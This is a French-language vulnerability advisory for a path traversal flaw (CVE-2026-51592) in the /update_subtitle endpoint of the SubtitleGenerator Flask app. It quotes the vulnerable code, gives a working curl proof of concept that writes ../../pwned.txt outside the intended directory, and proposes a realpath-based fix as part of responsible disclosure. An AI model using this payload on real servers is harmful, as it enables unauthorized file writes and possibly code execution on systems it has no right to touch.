
Vulnérabilité de traversée de chemin dans TahaBakhtari/SubtitleGenerator - CVE-2026-51592
Une vulnérabilité de traversée de chemin existe dans le point de terminaison /update_subtitle de TahaBakhtari/SubtitleGenerator. Le point de terminaison accepte un paramètre file_name provenant d'un client non authentifié et le concatène à un répertoire de base fixe à l'aide de os.path.join(), sans assainir les séquences de traversée de chemin. Par conséquent, un attaquant distant non authentifié peut écrire des fichiers arbitraires en dehors du répertoire prévu data/subtitles/, dans la limite des permissions du processus en cours d'exécution.
2e2553a (dernière au moment du test)app.py, fonction update_subtitle (lignes 225 à 238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
Le paramètre file_name est utilisé pour construire un chemin de fichier sans aucune validation. Un attaquant peut fournir une valeur telle que ../../pwned.txt pour sortir du répertoire data/subtitles/ et écrire dans un emplacement arbitraire sur lequel le processus dispose de droits d'écriture.
Par défaut, l'application écoute sur 0.0.0.0:5000 (voir app.py), ce qui signifie qu'elle est accessible sur le réseau et non restreinte à localhost.
CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint (traversée de chemin)
Écriture arbitraire de fichiers dans la limite des permissions du processus Flask
Écrasement de fichiers de configuration ou d'application existants
Écrasement potentiel des fichiers sources de l'application (par exemple app.py), ce qui pourrait mener à une exécution de code au prochain redémarrage
Déni de service par corruption de fichiers critiques
Vecteur d'attaque : À distance
Authentification requise : Non
Interaction utilisateur requise : Non
Sévérité (préliminaire) : Élevée
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Réponse :
{"status": "success", "message": "..."}
Vérification sur le serveur :
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
Le fichier pwned.txt est écrit dans le répertoire racine du projet, deux niveaux au-dessus du répertoire prévu data/subtitles/ — ce qui confirme la traversée de chemin.
Voir poc.sh pour une version exécutable de cette preuve de concept.
Validez que le chemin résolu reste dans data/subtitles/ à l'aide de os.path.realpath() avant d'ouvrir le fichier :
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
Cela garantit que le chemin résultant se résout toujours à l'intérieur de data/subtitles/, bloquant ainsi efficacement les séquences de traversée telles que ../../.
Le correctif complet est disponible dans patch.diff. Ce correctif a été implémenté et vérifié sur une instance de test locale : la même charge utile que celle utilisée dans la preuve de concept ci-dessus renvoie désormais une erreur "invalid filename" au lieu d'écrire le fichier.
Découverte et signalée par Arda Kuruoglu.
Cette vulnérabilité a été divulguée conformément à un calendrier de divulgation responsable de 90 jours, à compter de la date du signalement initial au mainteneur.
README.md — ce rapportpoc.sh — script de preuve de concept démontrant la vulnérabilitépatch.diff — correctif suggéré, validé sur une instance de test localeCe rapport et les fichiers qui l'accompagnent sont publiés sous licence MIT.